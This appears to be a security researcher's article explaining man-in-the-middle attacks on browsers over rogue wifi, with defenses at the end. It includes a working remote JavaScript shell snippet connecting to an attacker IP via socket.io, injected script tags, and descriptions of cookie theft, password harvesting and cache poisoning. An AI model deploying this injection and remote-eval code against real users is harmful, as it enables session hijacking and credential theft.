Want to use my wifi?
Introduction
This text is about the dangers of man-in-the-middle attacks on browsers, especially in the
scenario of open or rogue wifi networks. The scenario I'm assuming here is something like this:
- You are travelling.
- You have your notebook/smartphone/... with you.
- You don't have an internet connection.
- There is an open wifi that you could use.
- You just want to check the news.
- Maybe you also want to check your webmail or so (over SSL, of course)
- Your browser and the plugins in it are fully patched and there's nobody who would attack you with an 0day and has one.
- Your browser executes Javascript (by default). (Some of the attacks are possible without that, but the really scary stuff isn't.)
Given this scenario, what could go wrong?
I will show that an attacker could probably effectively gain code execution access to your machine in the long term.
Sniffing
The first thing an attacker would probably do is to look at your network traffic. What does
that reveal? Well, he can see your DNS traffic and your HTTP traffic. The DNS traffic is pretty
uninteresting, and the HTTP traffic also isn't very interesting — the attacker can tell which
articles you looked at, and if you don't use an adblocker, he can also see some traffic to ad
networks. That's pretty much useless.
Getting a (JS) shell
However, the attacker is not limited to listening to your traffic, he can also modify everything
you send and receive over plain HTTP. This means that he can get a javascript shell in the
context of every unencrypted page that you look at in your browser by injecting some code into
all HTML pages that it sees:
$ curl --proxy localhost:8080 http://blog.fefe.de/faq.html
<script>var __evil_injection_server="192.168.178.21:8042"</script>
<script src="http://192.168.178.21:8042/socket.io/socket.io.js"></script>
<script src="http://192.168.178.21:8042/injection_script.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<META http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel=stylesheet type="text/css" href="fefe.css">
<title>Fefe Blog FAQ</title>
[...]
With something like socket.io, such a remote JS shell is
done in a few lines of
code. For example, the client side might look like this:
(function() {
var socket = io.connect('http://'+__evil_injection_server)
socket.emit('register_victim', document.location+'')
socket.on('eval', function(cmd) {
eval(cmd)
})
})()
So what does this mean? The attacker can run code in the victim's browser, but only in the
name of the news site the victim is looking at. This alone wouldn't be very interesting, but
combined with the ability to sniff and manipulate all plain HTTP traffic by the victim, it is.
Reading cookies
Cookies are pieces of information
that websites can store on your PC. The PC will then send this
information whenever it sends a request to the same website again, no matter whether the server
wants it at that moment. Often, data in cookies is sufficient to authenticate a request, so
cookie data is highly relevant to security.
However, there are some restrictions on when cookies are sent:
- The domain must be correct. A cookie might be valid for
www.google.com
or *.google.com
, but the same cookie
certainly won't be sent to yahoo.com
. Of course, this is
important for security.
- The path must be correct. For example, a cookie might be restricted to
the path
/protected_stuff/
on a server. This isn't very interesting
for us right now.
- If the server explicitly tells the browser to flag the cookie as Secure while
storing it, the browser will only send the cookie with requests that are performed
over a secure connection, e.g. over TLS — our attacker can't access those cookies.
However, if the website is merely accessed over a secure connection normally, that
does not cause the Secure flag to be set.
Any website can request content from any other website to be loaded, for example by specifying
that an image from the other website should be loaded and embedded into the current website.
Therefore, using the JS shell in the browser, the attacker can also cause content from
arbitrary websites to be loaded with commands like this:
var img_el = document.createElement('img')
img_el.style.opacity = '0%'
img_el.src = victim_url
document.body.appendChild(img_el)
setTimeout(function() { document.body.removeChild(img_el) }, 60000)
This means that the attacker can read arbitrary non-Secure cookies by causing the browser
to request an HTTP URL for which the cookie is valid and sniffing the reply.
Examples
These are some sites that can be attacked this way:
- Google: email, name, photo
- Wikipedia: Nothing if "Use secure connection" was used, full account access otherwise
- Stack Overflow: full account access
- Wolfram Alpha: IP address used for login, full account access including query history
Stealing passwords
Modern browsers offer to save passwords and pre-fill login forms with them when you need
to log in to the website again. If you have saved your login data on any plain-HTTP site
that the attacker knows of, he can use his JS shell in the news site to load the site with
the login form in an iframe, then inject another JS shell into the iframe and use that to read
the password that the browser fills in. Yes, the website might be sending a
X-Frame-Options
header or some javascript that prevents framing — but the
attacker can just remove all that stuff!
Examples
The german freemailers web.de and GMX
have a login form on a plain-HTTP page that sends the password to an HTTPS address. That is
secure against simple sniffing, but not against this attack. You might want to manually navigate
to the HTTPS versions of those sites...
Same thing with Wordpress.com.
Maybe more interesting is all the stuff in your LAN — your routers and so on. You're probably
accessing them all over plain HTTP, which means that the attacker might well be able to get
your router admin password. He would have to set up a new webserver that serves a login page at
your router's IP, but that's not hard.
Cache Poisoning
HTTP lets the server specify that his reply should be stored by the browser, and in the future,
this local copy should be used instead of asking the server for it again — that's caching, and
for performance, it's nice. However, an attacker can use it for an attack: He can tell the
browser to load a certain URL, then rewrite the reply so that it includes something evil and
the reply is stored for years. For example, he could add a remote JS console like the one shown
above into some JS file. The impact would be that he could run javascript in the context of the
site that includes it whenever you look at such a site — even long after you've left the evil
wifi!
You might have the following question now: "What if the browser has already cached a script?
Could an attacker still force the browser to reload the script and take his copy?" As it turns
out, the answer is yes, it's very easy. The attacker simply has to load the script into an
iframe — this causes the locally cached copy to be loaded — and then call
frame.contentWindow.location.reload(true)
. The parameter true
simply
means "do not use a cached copy, even if you still have a fresh one". (I have no idea what that
is good for.)
Download poisoning
Let's say you're a windows user who sometimes downloads software and installs it. From
sourceforge, for example. Have a look at the source code of a sourceforge download site —
it always includes http://www.google-analytics.com/ga.js
. So, an attacker who
poisons that file with some evil code while you're in his wifi can manipulate any sourceforge
download page that you look at later and redirect you to his server instead of a legitimate
mirror. Do you think that you would spot the different download server, especially given that
e.g. Chromium and Chrome don't show you which server you're downloading stuff from and given
that the download was initiated by a site you trust?
Most download pages are served over HTTP because they don't contain confidential
data — but the integrity of the code you download is important!
Commandline snippet poisoning
Maybe you're a linux user who says "Ha! Can't happen to me, I only install software using
the package manager!". Well, do you maybe sometimes have problems with your system that
you google for? And then you end up on sites like
ubuntu forums that contain helpful snippets that you
just have to copy and paste to your terminal? Well, most forums (like e.g. ubuntu forums)
also include JS files from fixed URLs, so an attacker could inject JS into them. Then, when
you have looked at a snippet and decided that you want to paste it on your commandline,
the attacker can use JS to
make you copy something completely different from what you're seeing to your terminal.
Attacking internal devices
Of course, the attacker could use the same attack to inject evil code into your browser's
version of your home router's webinterface. Then, when you're back at home, he could use a
cache-injected script in some site to force-load your router's webinterface, then use
the cached evil script in the router's webinterface to access it from outside.
Scanning your home network
If you have devices at home whose webinterfaces you have accessed in the past, an attacker can
scan for those (assuming that some components of the webinterface are cached). He simply needs
to tell the browser to load a should-be-cached resource from every candidate IP, then monitor
whether the browser makes a normal request to the URL or not. If not, it's a hit.
Defenses
There are some obvious defenses that a user can use to defend himself against attacks like these.
Probably the easiest, yet most powerful one is to only use the browser in incognito mode while
surfing on insecure networks. This way, no information (like passwords or cookies) can leak out
and no evil cache entries can sneak in. Another one is to use a trusted VPN: This way, you only
have to trust the VPN provider instead of the network you are using.
Comments and similar stuff to jann+wtumw2_article@thejh.net, please.